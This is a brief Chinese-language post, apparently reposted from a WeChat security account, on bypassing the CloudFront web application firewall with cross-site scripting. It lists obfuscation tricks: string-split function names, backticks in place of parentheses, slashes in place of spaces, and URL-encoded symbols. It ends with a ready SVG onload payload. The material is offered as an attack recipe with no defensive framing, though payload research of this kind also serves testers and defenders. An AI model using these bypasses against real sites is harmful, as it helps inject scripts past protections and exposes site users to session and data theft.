绕过Cloudfront XSS WAF

1) alert = window["al "+"ert"] 

2）用``绕过（）

3）用/替换空格 

4）对符号进行编码：

< = %3c> = %3e" = %22[ = %5b] = %5d` = %60

未编码的payload：

<svg/onload=window["al"+"ert"]`1337`>

原文始发于微信公众号（Khan安全攻防实验室）：绕过Cloudfront XSS WAF